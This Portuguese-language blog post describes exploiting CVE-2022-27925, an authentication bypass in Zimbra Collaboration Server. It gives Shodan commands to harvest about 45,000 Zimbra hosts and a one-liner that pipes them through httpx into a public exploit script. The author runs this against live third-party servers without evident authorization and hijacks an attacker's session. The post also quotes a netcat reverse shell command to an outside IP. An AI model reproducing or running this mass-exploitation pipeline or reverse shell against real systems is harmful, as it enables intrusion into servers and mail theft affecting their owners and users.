
CVE-2022-27925
A seguinte investigação começou tentando entender as PoCs de vários repositórios no GitHub que muitos pesquisadores compartilharam e terminou em uma surpresa interessante, que compartilharei nos parágrafos seguintes. Em 10 de agosto do presente ano, o grupo de pesquisa de segurança Volexity publicou em sua conta no twitter a descoberta da exploração em massa da suíte ZCS (Zimbra Collaboration Server) que permite um bypass da autenticação e que cerca de 1000 instâncias do Zimbra estavam comprometidas em nível mundial.
Na investigação apresentada pelos colegas da Volexity eles mostravam parte dos logs consultados
[attacker_ip] - - [30/Jun/2022:05:33:18 +0000] "POST [snipped]/service/extension/backup/mboximport?account-name=admin&ow=1&no-switch=true HTTP/1.0" 401 299 "[snipped]" "Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0" 7
Da mesma forma, explicavam que a falha do código se devia à função doPost,

O problema com este código é que a autenticação é verificada e uma mensagem de erro é definida, mas não há uma instrução de retorno. Isso significa que o código subsequente continuará sendo executado, independentemente do estado de autenticação do usuário. Seguindo a função para baixo, um atacante só precisa definir os parâmetros corretos na URL para explorar a vulnerabilidade.
Uma vez que entendemos as possíveis causas e já haviam saído alguns PoCs, procedemos a realizar a exploração passo a passo, mas primeiro investigaremos o estado utilizando a ferramenta greynoise

Observamos que mais de um mês após a publicação do CVE-2022-27925, os ataques continuam sendo realizados
No shodan podemos observar cerca de 45.223 instalações do Zimbra

shodan download --limit -1 zimbra.json.gz http.favicon.hash:"1624375939"

Vamos percorrer os resultados
shodan parse --fields ip_str,port --separator , zimbra.json.gz > zimbra.txt

Vamos revisar um pouco os dados e dar o formato necessário para automatizar os testes
Parseamos os dados para poder utilizar um online

Utilizaremos httpx em docker

Baixamos a PoC do GitHub
git clone https://github.com/vnhacker1337/CVE-2022-27925-PoC

Testamos o oneliner com a PoC. É importante destacar que devemos mover o arquivo parseado para o diretório da PoC ou chamá-lo pelo caminho absoluto, também utilizando o dump do shodan podemos usá-lo
cat zimbra.json | jq -r '.hostnames[]' | docker run -i projectdiscovery/httpx -silent | xargs -I@ sh -c 'python3 zimbra-exploit.py @ 313.zip' | egrep -v '404|401|405|200'

Durante este teste, muitos alvos já aparecem corrigidos
Finalmente obtivemos um resultado


Uma vez explorada a vulnerabilidade, observamos arquivos que são scripts de APT para realizar a exfiltração das informações e a preparação do chantagem

arquivo malicioso gift

Arquivo de backup e exfiltração
Um dos caminhos que encontramos continha múltiplas webshells
/opt/zimbra/jetty_base/webapps/zimbraAdmin/

Uma análise dos processos em execução demonstrou que estavam sendo instalados cronjobs para empacotar os e-mails

Nota: o seguinte foi realizado com fins educacionais e como forma de fazer uma boa ação
Uma vez identificado o download do netcat, procedemos a tomar a sessão dos atacantes. Observa-se o uso de netcat ./nc 52.90.92.82 443 -e /bin/bash
Uma vulnerabilidade reportada publicamente há mais de 30 dias ainda está vigente no momento da redação deste artigo. Cabe destacar que os afetados foram notificados sem sucesso, já que a vulnerabilidade continua ativa.